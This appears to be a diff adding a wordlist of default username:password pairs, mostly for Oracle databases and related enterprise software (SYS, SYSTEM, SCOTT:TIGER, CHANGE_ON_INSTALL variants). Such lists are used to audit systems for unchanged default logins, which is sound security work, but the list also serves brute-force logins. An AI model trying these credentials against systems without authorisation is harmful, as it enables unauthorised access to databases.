+CQUSERDBUSER:PASSWORD
+CRM1:CRM1
+CRM2:CRM2
+CRPB733:CRPB733
+crp:crp
+CRP:CRP
+CRPCTL:CRPCTL
+CRPDTA:CRPDTA
+CSADMIN:CSADMIN
+CSAPPR1:CSAPPR1
+csc:csc
+CSC:CSC
+cs:cs
+CS:CS
+csd:csd
+CSD:CSD
+CSDUMMY:CSDUMMY
+cse:cse
+CSE:CSE
+csf:csf
+CSF:CSF
+csi:csi
+CSI:CSI
+csl:csl
+CSL:CSL
+CSM:CSM
+csmig:csmig
+CSMIG:CSMIG
+csp:csp
+CSP:CSP
+csr:csr
+CSR:CSR
+css:css
+CSS:CSS
+ctxdemo:ctxdemo
+CTXDEMO:CTXDEMO
+ctxsys:change_on_install
+CTXSYS:CHANGE_ON_INSTALL
+ctxsys:ctxsys
+CTXSYS:CTXSYS
+ctxsys:unknown
+CTXSYS:UNKNOWN
+CTXTEST:CTXTEST
+cua:cua
+CUA:CUA
+cue:cue
+CUE:CUE
+cuf:cuf
+CUF:CUF
+cug:cug
+CUG:CUG
+cui:cui
+CUI:CUI
+cun:cun
+CUN:CUN
+cup:cup
+CUP:CUP
+cus:cus
+CUS:CUS
+cz:cz
+CZ:CZ
+data_schema:laskjdf098ksdaf09
+DATA_SCHEMA:LASKJDF098KSDAF09
+DAVIDMORGAN:DAVIDMORGAN
+dbi:mumblefratz
+DBI:MUMBLEFRATZ
+dbsnmp:dbsnmp
+DBSNMP:DBSNMP
+dbvision:dbvision
+DBVISION:DBVISION
+DCM:DCM
+DD7333:DD7333
+DD7334:DD7334
+DD810:DD810
+DD811:DD811
+DD812:DD812
+DD9:DD9
+DDB733:DDB733
+DDD:DDD
+ddic:199220706
+DDIC:199220706
+demo8:demo8
+DEMO8:DEMO8
+demo9:demo9
+DEMO9:DEMO9
+demo:demo
+DEMO:DEMO
+des2k:des2k
+DES2K:DES2K
+des:des
+DES:DES
+dev2000_demos:dev2000_demos
+DEV2000_DEMOS:DEV2000_DEMOS
+DEVB733:DEVB733
+DEVUSER:DEVUSER
+DGRAY:WELCOME
+diane:passwo1
+DIANE:PASSWO1
+dip:dip
+DIP:DIP
+DISCOVERER5:DISCOVERER5
+discoverer_admin:discoverer_admin
+DISCOVERER_ADMIN:DISCOVERER_ADMIN
+DKING:DKING
+DLD:DLD
+DMADMIN:MANAGER
+DMATS:DMATS
+DMS:DMS
+dmsys:dmsys
+DMSYS:DMSYS
+DOM:DOM
+dpf:dpfpass
+DPF:DPFPASS
+DPOND:DPOND
+dsgateway:dsgateway
+DSGATEWAY:DSGATEWAY
+dssys:dssys
+DSSYS:DSSYS
+dtsp:dtsp
+DTSP:DTSP
+DV7333:DV7333
+DV7334:DV7334
+DV810:DV810
+DV811:DV811
+DV812:DV812
+DV9:DV9
+DVP1:DVP1
+eaa:eaa
+EAA:EAA
+eam:eam
+EAM:EAM
+earlywatch:support
+EARLYWATCH:SUPPORT
+east:east
+EAST:EAST
+ec:ec
+EC:EC
+ecx:ecx
+ECX:ECX
+EDR:EDR
+EDWEUL_US:EDWEUL_US
+EDWREP:EDWREP
+EGC1:EGC1
+EGD1:EGD1
+EGM1:EGM1
+EGO:EGO
+EGR1:EGR1
+ejb:ejb
+EJB:EJB
+ejsadmin:ejsadmin
+EJSADMIN:EJSADMIN
+ejsadmin:ejsadmin_password
+EJSADMIN:EJSADMIN_PASSWORD
+emp:emp
+EMP:EMP
+END1:END1
+eng:eng
+ENG:ENG
+eni:eni
+ENI:ENI
+ENM1:ENM1
+ENS1:ENS1
+ENTMGR_CUST:ENTMGR_CUST
+ENTMGR_PRO:ENTMGR_PRO
+ENTMGR_TRAIN:ENTMGR_TRAIN
+EOPP_PORTALADM:EOPP_PORTALADM
+EOPP_PORTALMGR:EOPP_PORTALMGR
+EOPP_USER:EOPP_USER
+estoreuser:estore
+ESTOREUSER:ESTORE
+EUL_US:EUL_US
+event:event
+EVENT:EVENT
+evm:evm
+EVM:EVM
+EXA1:EXA1
+EXA2:EXA2
+EXA3:EXA3
+EXA4:EXA4
+example:example
+EXAMPLE:EXAMPLE
+exfsys:exfsys
+EXFSYS:EXFSYS
+EXS1:EXS1
+EXS2:EXS2
+EXS3:EXS3
+EXS4:EXS4
+extdemo2:extdemo2
+EXTDEMO2:EXTDEMO2
+extdemo:extdemo
+EXTDEMO:EXTDEMO
+fa:fa
+FA:FA
+fem:fem
+FEM:FEM
+FIA1:FIA1
+fii:fii
+FII:FII
+finance:finance
+FINANCE:FINANCE
+finprod:finprod
+FINPROD:FINPROD
+flm:flm
+FLM:FLM
+fnd:fnd
+FND:FND
+FNI1:FNI1
+FNI2:FNI2
+foo:bar
+FOO:BAR
+FPA:FPA
+fpt:fpt
+FPT:FPT
+frm:frm
+FRM:FRM
+frosty:snowman
+FROSTY:SNOWMAN
+FTA1:FTA1
+fte:fte
+FTE:FTE
+FUN:FUN
+fv:fv
+FV:FV
+FVP1:FVP1
+GALLEN:GALLEN
+GCA1:GCA1
+GCA2:GCA2
+GCA3:GCA3
+GCA9:GCA9
+GCMGR1:GCMGR1
+GCMGR2:GCMGR2
+GCMGR3:GCMGR3
+GCS1:GCS1
+GCS2:GCS2
+GCS3:GCS3
+GCS:GCS
+GEORGIAWINE:GEORGIAWINE
+GLA1:GLA1
+GLA2:GLA2
+GLA3:GLA3
+GLA4:GLA4
+gl:gl
+GL:GL
+GLS1:GLS1
+GLS2:GLS2
+GLS3:GLS3
+GLS4:GLS4
+gma:gma
+GMA:GMA
+GM_AWDA:GM_AWDA
+GM_COPI:GM_COPI
+gmd:gmd
+GMD:GMD
+GM_DPHD:GM_DPHD
+gme:gme
+GME:GME
+gmf:gmf
+GMF:GMF
+gmi:gmi
+GMI:GMI
+gml:gml
+GML:GML
+GM_MLCT:GM_MLCT
+gmp:gmp
+GMP:GMP
+GM_PLADMA:GM_PLADMA
+GM_PLADMH:GM_PLADMH
+GM_PLCCA:GM_PLCCA
+GM_PLCCH:GM_PLCCH
+GM_PLCOMA:GM_PLCOMA
+GM_PLCOMH:GM_PLCOMH
+GM_PLCONA:GM_PLCONA
+GM_PLCONH:GM_PLCONH
+GM_PLNSCA:GM_PLNSCA
+GM_PLNSCH:GM_PLNSCH
+GM_PLSCTA:GM_PLSCTA
+GM_PLSCTH:GM_PLSCTH
+GM_PLVET:GM_PLVET
+gms:gms
+GMS:GMS
+GM_SPO:GM_SPO
+GM_STKH:GM_STKH
+gpfd:gpfd
+GPFD:GPFD
+gpld:gpld
+GPLD:GPLD
+gr:gr
+GR:GR
+GUEST:GUEST
+hades:hades
+HADES:HADES
+HCC:HCC
+hcpark:hcpark
+HCPARK:HCPARK
+HHCFO:HHCFO
+hlw:hlw
+HLW:HLW
+hr:change_on_install
+HR:CHANGE_ON_INSTALL
+hr:hr
+HR:HR
+hri:hri
+HRI:HRI
+hr:unknown
+HR:UNKNOWN
+hvst:hvst
+HVST:HVST
+hxc:hxc
+HXC:HXC
+hxt:hxt
+HXT:HXT
+IA:IA
+iba:iba
+IBA:IBA
+IBC:IBC
+ibe:ibe
+IBE:IBE
+ibp:ibp
+IBP:IBP
+ibu:ibu
+IBU:IBU
+iby:iby
+IBY:IBY
+icdbown:icdbown
+ICDBOWN:ICDBOWN
+icx:icx
+ICX:ICX
+idemo_user:idemo_user
+IDEMO_USER:IDEMO_USER
+ieb:ieb
+IEB:IEB
+iec:iec
+IEC:IEC
+iem:iem
+IEM:IEM
+ieo:ieo
+IEO:IEO
+ies:ies
+IES:IES
+ieu:ieu
+IEU:IEU
+iex:iex
+IEX:IEX
+ifssys:ifssys
+IFSSYS:IFSSYS
+igc:igc
+IGC:IGC
+igf:igf
+IGF:IGF
+igi:igi
+IGI:IGI
+igs:igs
+IGS:IGS
+igw:igw
+IGW:IGW
+imageuser:imageuser
+IMAGEUSER:IMAGEUSER
+imc:imc
+IMC:IMC
+imedia:imedia
+IMEDIA:IMEDIA
+imt:imt
+IMT:IMT
+INS1:INS1
+INS2:INS2
+#internal:oracle
+internal:oracle
+#INTERNAL:ORACLE
+INTERNAL:ORACLE
+#internal:sys_stnt
+internal:sys_stnt
+#INTERNAL:SYS_STNT
+INTERNAL:SYS_STNT
+inv:inv
+INV:INV
+ipa:ipa
+IPA:IPA
+ipd:ipd
+IPD:IPD
+IP:IP
+iplanet:iplanet
+IPLANET:IPLANET
+isc:isc
+ISC:ISC
+ISTEWARD:ISTEWARD
+itg:itg
+ITG:ITG
+ja:ja
+JA:JA
+jake:passwo4
+JAKE:PASSWO4
+JD7333:JD7333
+JD7334:JD7334
+JD9:JD9
+JDEDBA:JDEDBA
+JDE:JDE
+je:je
+JE:JE
+jg:jg
+JG:JG
+jill:passwo2
+JILL:PASSWO2
+jl:jl:
+JL :JL
+JL:JL
+jmuser:jmuser
+JMUSER:JMUSER
+JOHNINARI:JOHNINARI
+john:john
+JOHN:JOHN
+jones:steel
+JONES:STEEL
+jtf:jtf
+JTF:JTF
+JTI:JTI
+jtm:jtm
+JTM:JTM
+JTR:JTR
+jts:jts
+JTS:JTS
+JUNK_PS:JUNK_PS
+JUSTOSHUM:JUSTOSHUM
+jward:airoplane
+JWARD:AIROPLANE
+KELLYJONES:KELLYJONES
+KEVINDONS:KEVINDONS
+KPN:KPN
+kwalker:kwalker
+KWALKER:KWALKER
+l2ldemo:l2ldemo
+L2LDEMO:L2LDEMO
+LADAMS:LADAMS
+lbacsys:lbacsys
+LBACSYS:LBACSYS
+LBA:LBA
+LDQUAL:LDQUAL
+LHILL:LHILL
+librarian:shelves
+LIBRARIAN:SHELVES
+LNS:LNS
+LQUINCY:LQUINCY
+LSA:LSA
+manprod:manprod
+MANPROD:MANPROD
+mark:passwo3
+MARK:PASSWO3
+mascarm:manager
+MASCARM:MANAGER
+master:password
+MASTER:PASSWORD
+mddata:mddata
+MDDATA:MDDATA
+mddemo_clerk:clerk
+MDDEMO_CLERK:CLERK
+mddemo_clerk:mgr
+MDDEMO_CLERK:MGR
+mddemo:mddemo
+MDDEMO:MDDEMO
+mddemo_mgr:mddemo_mgr
+MDDEMO_MGR:MDDEMO_MGR
+mddemo_mgr:mgr
+MDDEMO_MGR:MGR
+mdsys:mdsys
+MDSYS:MDSYS
+MDSYS:SYS
+me:me
+ME:ME
+mfg:mfg
+MFG:MFG
+MGR1:MGR1
+MGR2:MGR2
+MGR3:MGR3
+MGR4:MGR4
+mgr:mgr
+MGR:MGR
+mgwuser:mgwuser
+MGWUSER:MGWUSER
+migrate:migrate
+MIGRATE:MIGRATE
+MIKEIKEGAMI:MIKEIKEGAMI
+miller:miller
+MILLER:MILLER
+MJONES:MJONES
+MLAKE:MLAKE
+MM1:MM1
+MM2:MM2
+MM3:MM3
+MM4:MM4
+MM5:MM5
+MMARTIN:MMARTIN
+mmo2:mmo2
+MMO2:MMO2
+mmo2:mmo3
+MMO2:MMO3
+mmo2:unknown
+MMO2:UNKNOWN
+MOBILEADMIN:WELCOME
+modtest:yes
+MODTEST:YES
+moreau:moreau
+MOREAU:MOREAU
+mrp:mrp
+MRP:MRP
+msc:msc
+MSC:MSC
+msd:msd
+MSD:MSD
+mso:mso
+MSO:MSO
+msr:msr
+MSR:MSR
+MST:MST
+mtssys:mtssys
+MTSSYS:MTSSYS
+mts_user:mts_password
+MTS_USER:MTS_PASSWORD
+mwa:mwa
+MWA:MWA
+mxagent:mxagent
+MXAGENT:MXAGENT
+names:names
+NAMES:NAMES
+NEILKATSU:NEILKATSU
+neotix_sys:neotix_sys
+NEOTIX_SYS:NEOTIX_SYS
+nneul:nneulpass
+NNEUL:NNEULPASS
+nomeutente:password
+NOMEUTENTE:PASSWORD
+nome_utilizador:senha
+NOME_UTILIZADOR:SENHA
+nom_utilisateur:mot_de_passe
+NOM_UTILISATEUR:MOT_DE_PASSE
+nume_utilizator:parol
+NUME_UTILIZATOR:PAROL
+oas_public:oas_public
+OAS_PUBLIC:OAS_PUBLIC
+OBJ7333:OBJ7333
+OBJ7334:OBJ7334
+OBJB733:OBJB733
+OCA:OCA
+ocitest:ocitest
+OCITEST:OCITEST
+ocm_db_admin:ocm_db_admin
+OCM_DB_ADMIN:OCM_DB_ADMIN
+odm_mtr:mtrpw
+ODM_MTR:MTRPW
+odm:odm
+ODM:ODM
+odscommon:odscommon
+ODSCOMMON:ODSCOMMON
+ods:ods
+ODS:ODS
+ods_server:ods_server
+ODS_SERVER:ODS_SERVER
+oe:change_on_install
+OE:CHANGE_ON_INSTALL
+oemadm:oemadm
+OEMADM:OEMADM
+oemrep:oemrep
+OEMREP:OEMREP
+oe:oe
+OE:OE
+oe:unknown
+OE:UNKNOWN
+okb:okb
+OKB:OKB
+okc:okc
+OKC:OKC
+oke:oke
+OKE:OKE
+oki:oki
+OKI:OKI
+OKL:OKL
+oko:oko
+OKO:OKO
+okr:okr
+OKR:OKR
+oks:oks
+OKS:OKS
+okx:okx
+OKX:OKX
+OL810:OL810
+OL811:OL811
+OL812:OL812
+OL9:OL9
+olapdba:olapdba
+OLAPDBA:OLAPDBA
+olapsvr:instance
+OLAPSVR:INSTANCE
+olapsvr:olapsvr
+OLAPSVR:OLAPSVR
+olapsys:manager
+OLAPSYS:MANAGER
+olapsys:olapsys
+OLAPSYS:OLAPSYS
+omwb_emulation:oracle
+OMWB_EMULATION:ORACLE
+ont:ont
+ONT:ONT
+oo:oo
+OO:OO
+openspirit:openspirit
+OPENSPIRIT:OPENSPIRIT
+opi:opi
+OPI:OPI
+ORABAM:ORABAM
+ORABAMSAMPLES:ORABAMSAMPLES
+ORABPEL:ORABPEL
+oracache:oracache
+ORACACHE:ORACACHE
+oracle:oracle
+ORACLE:ORACLE
+oradba:oradbapass
+ORADBA:ORADBAPASS
+ORAESB:ORAESB
+ORAOCA_PUBLIC:ORAOCA_PUBLIC
+oraprobe:oraprobe
+ORAPROBE:ORAPROBE
+oraregsys:oraregsys
+ORAREGSYS:ORAREGSYS
+ORASAGENT:ORASAGENT
+orasso_ds:orasso_ds
+ORASSO_DS:ORASSO_DS
+orasso:orasso
+ORASSO:ORASSO
+orasso_pa:orasso_pa
+ORASSO_PA:ORASSO_PA
+orasso_ps:orasso_ps
+ORASSO_PS:ORASSO_PS
+orasso_public:orasso_public
+ORASSO_PUBLIC:ORASSO_PUBLIC
+orastat:orastat
+ORASTAT:ORASTAT
+orcladmin:welcome
+ORCLADMIN:WELCOME
+ordcommon:ordcommon
+ORDCOMMON:ORDCOMMON
+ordplugins:ordplugins
+ORDPLUGINS:ORDPLUGINS
+ordsys:ordsys
+ORDSYS:ORDSYS
+ose$http$admin:invalid
+OSE$HTTP$ADMIN:INVALID
+ose$http$admin:invalid:password
+OSE$HTTP$ADMIN:Invalid password
+osm:osm
+OSM:OSM
+osp22:osp22
+OSP22:OSP22
+ota:ota
+OTA:OTA
+outln:outln
+OUTLN:OUTLN
+owa:owa
+OWA:OWA
+owa_public:owa_public
+OWA_PUBLIC:OWA_PUBLIC
+OWAPUB:OWAPUB
+owf_mgr:owf_mgr
+OWF_MGR:OWF_MGR
+owner:owner
+OWNER:OWNER
+ozf:ozf
+OZF:OZF
+ozp:ozp
+OZP:OZP
+ozs:ozs
+OZS:OZS
+PABLO:PABLO
+PAIGE:PAIGE
+PAM:PAM
+panama:panama
+PANAMA:PANAMA
+pa:pa
+PA:PA
+PARRISH:PARRISH
+PARSON:PARSON
+PATORILY:PATORILY
+PAT:PAT
+PATRICKSANCHEZ:PATRICKSANCHEZ
+patrol:patrol
+PATROL:PATROL
+PATSY:PATSY
+PAULA:PAULA
+paul:paul
+PAUL:PAUL
+PAXTON:PAXTON
+PCA1:PCA1
+PCA2:PCA2
+PCA3:PCA3
+PCA4:PCA4
+PCS1:PCS1
+PCS2:PCS2
+PCS3:PCS3
+PCS4:PCS4
+PD7333:PD7333
+PD7334:PD7334
+PD810:PD810
+PD811:PD811
+PD812:PD812
+PD9:PD9
+PDA1:PDA1
+PEARL:PEARL
+PEG:PEG
+PENNY:PENNY
+PEOPLE:PEOP1E
+PERCY:PERCY
+perfstat:perfstat
+PERFSTAT:PERFSTAT
+PERRY:PERRY
+perstat:perstat
+PERSTAT:PERSTAT
+PETE:PETE
+PEYTON:PEYTON
+PHIL:PHIL
+PJI:PJI
+pjm:pjm
+PJM:PJM
+planning:planning
+PLANNING:PLANNING
+plex:plex
+PLEX:PLEX
+plsql:supersecret
+PLSQL:SUPERSECRET
+pm:change_on_install
+PM:CHANGE_ON_INSTALL
+pmi:pmi
+PMI:PMI
+pm:pm
+PM:PM
+pm:unknown
+PM:UNKNOWN
+pn:pn
+PN:PN
+po7:po7
+PO7:PO7
+po8:po8
+PO8:PO8
+poa:poa
+POA:POA
+POLLY:POLLY
+pom:pom
+POM:POM
+PON:PON
+po:po
+PO:PO
+portal30_admin:portal30_admin
+PORTAL30_ADMIN:PORTAL30_ADMIN
+portal30_demo:portal30_demo
+PORTAL30_DEMO:PORTAL30_DEMO
+portal30:portal30
+PORTAL30:PORTAL30
+portal30:portal31
+PORTAL30:PORTAL31
+portal30_ps:portal30_ps
+PORTAL30_PS:PORTAL30_PS
+portal30_public:portal30_public
+PORTAL30_PUBLIC:PORTAL30_PUBLIC
+portal30_sso_admin:portal30_sso_admin
+PORTAL30_SSO_ADMIN:PORTAL30_SSO_ADMIN
+portal30_sso:portal30_sso
+PORTAL30_SSO:PORTAL30_SSO
+portal30_sso_ps:portal30_sso_ps
+PORTAL30_SSO_PS:PORTAL30_SSO_PS
+portal30_sso_public:portal30_sso_public
+PORTAL30_SSO_PUBLIC:PORTAL30_SSO_PUBLIC
+PORTAL_APP:PORTAL_APP
+portal_demo:portal_demo
+PORTAL_DEMO:PORTAL_DEMO
+PORTAL:PORTAL
+PORTAL_PUBLIC:PORTAL_PUBLIC
+portal_sso_ps:portal_sso_ps
+PORTAL_SSO_PS:PORTAL_SSO_PS
+pos:pos
+POS:POS
+powercartuser:powercartuser
+POWERCARTUSER:POWERCARTUSER
+PPM1:PPM1
+PPM2:PPM2
+PPM3:PPM3
+PPM4:PPM4
+PPM5:PPM5
+primary:primary
+PRIMARY:PRIMARY
+PRISTB733:PRISTB733
+PRISTCTL:PRISTCTL
+PRISTDTA:PRISTDTA
+PRODB733:PRODB733
+PRODCTL:PRODCTL
+PRODDTA:PRODDTA
+PRODUSER:PRODUSER
+PROJMFG:WELCOME
+PRP:PRP
+PS810CTL:PS810CTL
+PS810DTA:PS810DTA
+PS810:PS810
+PS811CTL:PS811CTL
+PS811DTA:PS811DTA
+PS811:PS811
+PS812CTL:PS812CTL
+PS812DTA:PS812DTA
+PS812:PS812
+psa:psa
+PSA:PSA
+PSBASS:PSBASS
+psb:psb
+PSB:PSB
+PSEM:PSEM
+PSFTDBA:PSFTDBA
+PSFT:PSFT
+psp:psp
+PSP:PSP
+PS:PS
+PTADMIN:PTADMIN
+PTCNE:PTCNE
+PTDMO:PTDMO
+PTE:PTE
+PTESP:PTESP
+PTFRA:PTFRA
+PTGER:PTGER
+PTG:PTG
+PTJPN:PTJPN
+PTUKE:PTUKE
+PTUPG:PTUPG
+PTWEB:PTWEB
+PTWEBSERVER:PTWEBSERVER
+pubsub1:pubsub1
+PUBSUB1:PUBSUB1
+pubsub:pubsub
+PUBSUB:PUBSUB
+pv:pv
+PV:PV
+PY7333:PY7333
+PY7334:PY7334
+PY810:PY810
+PY811:PY811
+PY812:PY812
+PY9:PY9
+qa:qa
+QA:QA
+qdba:qdba
+QDBA:QDBA
+QOT:QOT
+qp:qp
+QP:QP
+QRM:QRM
+qs_adm:change_on_install
+QS_ADM:CHANGE_ON_INSTALL
+qs_adm:qs_adm
+QS_ADM:QS_ADM
+qs_adm:unknown
+QS_ADM:UNKNOWN
+qs_cbadm:change_on_install
+QS_CBADM:CHANGE_ON_INSTALL
+qs_cbadm:qs_cbadm
+QS_CBADM:QS_CBADM
+qs_cbadm:unknown
+QS_CBADM:UNKNOWN
+qs_cb:change_on_install
+QS_CB:CHANGE_ON_INSTALL
+qs_cb:qs_cb
+QS_CB:QS_CB
+qs_cb:unknown
+QS_CB:UNKNOWN
+qs:change_on_install
+QS:CHANGE_ON_INSTALL
+qs_cs:change_on_install
+QS_CS:CHANGE_ON_INSTALL
+qs_cs:qs_cs
+QS_CS:QS_CS
+qs_cs:unknown
+QS_CS:UNKNOWN
+qs_es:change_on_install
+QS_ES:CHANGE_ON_INSTALL
+qs_es:qs_es
+QS_ES:QS_ES
+qs_es:unknown
+QS_ES:UNKNOWN
+qs_os:change_on_install
+QS_OS:CHANGE_ON_INSTALL
+qs_os:qs_os
+QS_OS:QS_OS
+qs_os:unknown
+QS_OS:UNKNOWN
+qs:qs
+QS:QS
+qs:unknown
+QS:UNKNOWN
+qs_ws:change_on_install
+QS_WS:CHANGE_ON_INSTALL
+qs_ws:qs_ws
+QS_WS:QS_WS
+qs_ws:unknown
+QS_WS:UNKNOWN
+RENE:RENE
+repadmin:repadmin
+REPADMIN:REPADMIN
+rep_manager:demo
+REP_MANAGER:DEMO
+reports:reports
+REPORTS:REPORTS
+reports_user:oem_temp
+REPORTS_USER:OEM_TEMP
+rep_owner:demo
+REP_OWNER:DEMO
+rep_owner:rep_owner
+REP_OWNER:REP_OWNER
+rep_user:demo
+REP_USER:DEMO
+re:re
+RE:RE
+RESTRICTED_US:RESTRICTED_US
+rg:rg
+RG:RG
+rhx:rhx
+RHX:RHX
+rla:rla
+RLA:RLA
+rlm:rlm
+RLM:RLM
+RM1:RM1
+RM2:RM2
+RM3:RM3
+RM4:RM4
+RM5:RM5
+rmail:rmail
+RMAIL:RMAIL
+rman:rman
+RMAN:RMAN
+ROB:ROB
+RPARKER:RPARKER
+rrs:rrs
+RRS:RRS
+RWA1:RWA1
+SALLYH:SALLYH
+sample:sample
+SAMPLE:SAMPLE
+SAM:SAM
+sap:06071992
+SAP:06071992
+sapr3:sap
+SAPR3:SAP
+sap:sapr3
+SAP:SAPR3
+SARAHMANDY:SARAHMANDY
+SCM1:SCM1
+SCM2:SCM2
+SCM3:SCM3
+SCM4:SCM4
+scott:tiger
+SCOTT:TIGER
+scott:tigger
+SCOTT:TIGGER
+SDAVIS:SDAVIS
+sdos_icsap:sdos_icsap
+SDOS_ICSAP:SDOS_ICSAP
+secdemo:secdemo
+SECDEMO:SECDEMO
+SEDWARDS:SEDWARDS
+SELLCM:SELLCM
+SELLER:SELLER
+SELLTREAS:SELLTREAS
+serviceconsumer1:serviceconsumer1
+SERVICECONSUMER1:SERVICECONSUMER1
+SERVICES:WELCOME
+SETUP:SETUP
+sh:change_on_install
+SH:CHANGE_ON_INSTALL
+sh:sh
+SH:SH
+sh:unknown
+SH:UNKNOWN
+SID:SID
+si_informtn_schema:si_informtn_schema
+SI_INFORMTN_SCHEMA:SI_INFORMTN_SCHEMA
+siteminder:siteminder
+SITEMINDER:SITEMINDER
+SKAYE:SKAYE
+SKYTETSUKA:SKYTETSUKA
+slide:slidepw
+SLIDE:SLIDEPW
+SLSAA:SLSAA
+SLSMGR:SLSMGR
+SLSREP:SLSREP
+spierson:spierson
+SPIERSON:SPIERSON
+SRABBITT:SRABBITT
+SRALPHS:SRALPHS
+SRAY:SRAY
+SRIVERS:SRIVERS
+SSA1:SSA1
+SSA2:SSA2
+SSA3:SSA3
+SSC1:SSC1
+SSC2:SSC2
+SSC3:SSC3
+SSOSDK:SSOSDK
+ssp:ssp
+SSP:SSP
+SSS1:SSS1
+starter:starter
+STARTER:STARTER
+strat_user:strat_passwd
+STRAT_USER:STRAT_PASSWD
+SUPPLIER:SUPPLIER
+SVM7333:SVM7333
+SVM7334:SVM7334
+SVM810:SVM810
+SVM811:SVM811
+SVM812:SVM812
+SVM9:SVM9
+SVMB733:SVMB733
+SVP1:SVP1
+swpro:swpro
+SWPRO:SWPRO
+swuser:swuser
+SWUSER:SWUSER
+SY810:SY810
+SY811:SY811
+SY812:SY812
+SY9:SY9
+sympa:sympa
+SYMPA:SYMPA
+sys:0racl3
+SYS:0RACL3
+sys:0racl38
+SYS:0RACL38
+sys:0racl38i
+SYS:0RACL38I
+sys:0racl39
+SYS:0RACL39
+sys:0racl39i
+SYS:0RACL39I
+sys:0racle
+SYS:0RACLE
+sys:0racle8
+SYS:0RACLE8
+sys:0racle8i
+SYS:0RACLE8I
+sys:0racle9
+SYS:0RACLE9
+sys:0racle9i
+SYS:0RACLE9I
+SYS7333:SYS7333
+SYS7334:SYS7334
+sysadmin:sysadmin
+SYSADMIN:SYSADMIN
+sysadm:sysadm
+SYSADM:SYSADM
+SYSB733:SYSB733
+sys:change_on_install
+SYS:CHANGE_ON_INSTALL
+sys:d_syspw
+SYS:D_SYSPW
+sys:manag3r
+SYS:MANAG3R
+sys:manager
+SYS:MANAGER
+sysman:oem_temp
+SYSMAN:OEM_TEMP
+sysman:sysman
+SYSMAN:SYSMAN
+SYSMAN:WELCOME1
+sys:oracl3
+SYS:ORACL3
+sys:oracle
+SYS:ORACLE
+sys:oracle8
+SYS:ORACLE8
+sys:oracle8i
+SYS:ORACLE8I
+sys:oracle9
+SYS:ORACLE9
+sys:oracle9i
+SYS:ORACLE9I
+sys:sys
+SYS:SYS
+sys:syspass
+SYS:SYSPASS
+system:0racl3
+SYSTEM:0RACL3
+system:0racl38
+SYSTEM:0RACL38
+system:0racl38i
+SYSTEM:0RACL38I
+system:0racl39
+SYSTEM:0RACL39
+system:0racl39i
+SYSTEM:0RACL39I
+system:0racle
+SYSTEM:0RACLE
+system:0racle8
+SYSTEM:0RACLE8
+system:0racle8i
+SYSTEM:0RACLE8I
+system:0racle9
+SYSTEM:0RACLE9
+system:0racle9i
+SYSTEM:0RACLE9I
+system:change_on_install
+SYSTEM:CHANGE_ON_INSTALL
+system:d_syspw
+SYSTEM:D_SYSPW
+system:d_systpw
+SYSTEM:D_SYSTPW
+system:manag3r
+SYSTEM:MANAG3R
+system:manager
+SYSTEM:MANAGER
+system:oracl3
+SYSTEM:ORACL3
+system:oracle
+SYSTEM:ORACLE
+system:oracle8
+SYSTEM:ORACLE8
+system:oracle8i
+SYSTEM:ORACLE8I
+system:oracle9
+SYSTEM:ORACLE9
+system:oracle9i
+SYSTEM:ORACLE9I
+system:system
+SYSTEM:SYSTEM
+system:systempass
+SYSTEM:SYSTEMPASS
+SYSTEM:WELCOME1
+SYS:WELCOME1
+tahiti:tahiti
+TAHITI:TAHITI
+talbot:mt6ch5
+TALBOT:MT6CH5
+TDEMARCO:TDEMARCO
+tdos_icsap:tdos_icsap
+TDOS_ICSAP:TDOS_ICSAP
+tec:tectec
+TEC:TECTEC
+TESTCTL:TESTCTL
+TESTDTA:TESTDTA
+test:passwd
+TEST:PASSWD
+testpilot:testpilot
+TESTPILOT:TESTPILOT
+test:test
+TEST:TEST
+test_user:test_user
+TEST_USER:TEST_USER
+thinsample:thinsamplepw
+THINSAMPLE:THINSAMPLEPW
+tibco:tibco
+TIBCO:TIBCO
+tip37:tip37
+TIP37:TIP37
+TRA1:TRA1
+tracesvr:trace
+TRACESVR:TRACE
+travel:travel
+TRAVEL:TRAVEL
+TRBM1:TRBM1
+TRCM1:TRCM1
+TRDM1:TRDM1
+TRRM1:TRRM1
+tsdev:tsdev
+TSDEV:TSDEV
+tsuser:tsuser
+TSUSER:TSUSER
+turbine:turbine
+TURBINE:TURBINE
+TWILLIAMS:TWILLIAMS
+UDDISYS:UDDISYS
+ultimate:ultimate
+ULTIMATE:ULTIMATE
+um_admin:um_admin
+UM_ADMIN:UM_ADMIN
+um_client:um_client
+UM_CLIENT:UM_CLIENT
+user0:user0
+USER0:USER0
+user1:user1
+USER1:USER1
+user2:user2
+USER2:USER2
+user3:user3
+USER3:USER3
+user4:user4
+USER4:USER4
+user5:user5
+USER5:USER5
+user6:user6
+USER6:USER6
+user7:user7
+USER7:USER7
+user8:user8
+USER8:USER8
+user9:user9
+USER9:USER9
+user_name:password
+USER_NAME:PASSWORD
+user:user
+USER:USER
+usuario:clave
+USUARIO:CLAVE
+utility:utility
+UTILITY:UTILITY
+utlbstatu:utlestat
+UTLBSTATU:UTLESTAT
+vea:vea
+VEA:VEA
+veh:veh
+VEH:VEH
+vertex_login:vertex_login
+VERTEX_LOGIN:VERTEX_LOGIN
+VIDEO31:VIDEO31
+VIDEO4:VIDEO4
+VIDEO5:VIDEO5
+videouser:videouser
+VIDEOUSER:VIDEOUSER
+vif_developer:vif_dev_pwd
+VIF_DEVELOPER:VIF_DEV_PWD
+viruser:viruser
+VIRUSER:VIRUSER
+VP1:VP1
+VP2:VP2
+VP3:VP3
+VP4:VP4
+VP5:VP5
+VP6:VP6
+vpd_admin:akf7d98s2
+VPD_ADMIN:AKF7D98S2
+vrr1:unknown
+VRR1:UNKNOWN
+vrr1:vrr1
+VRR1:VRR1
+vrr1:vrr2
+VRR1:VRR2
+WAA1:WAA1
+WAA2:WAA2
+WCRSYS:WCRSYS
+webcal01:webcal01
+WEBCAL01:WEBCAL01
+webdb:webdb
+WEBDB:WEBDB
+webread:webread
+WEBREAD:WEBREAD
+websys:manager
+WEBSYS:MANAGER
+WEBSYS:WELCOME
+webuser:your_pass
+WEBUSER:YOUR_PASS
+WENDYCHO:WENDYCHO
+west:west
+WEST:WEST
+wfadmin:wfadmin
+WFADMIN:WFADMIN
+wh:wh
+WH:WH
+wip:wip
+WIP:WIP
+WIRELESS:WELCOME
+WIRELESS:WIRELESS
+wkadmin:wkadmin
+WKADMIN:WKADMIN
+wkproxy:change_on_install
+WKPROXY:CHANGE_ON_INSTALL
+wkproxy:unknown
+WKPROXY:UNKNOWN
+wkproxy:wkproxy
+WKPROXY:WKPROXY
+wksys:change_on_install
+WKSYS:CHANGE_ON_INSTALL
+wksys:wksys
+WKSYS:WKSYS
+wk_test:wk_test
+WK_TEST:WK_TEST
+wkuser:wkuser
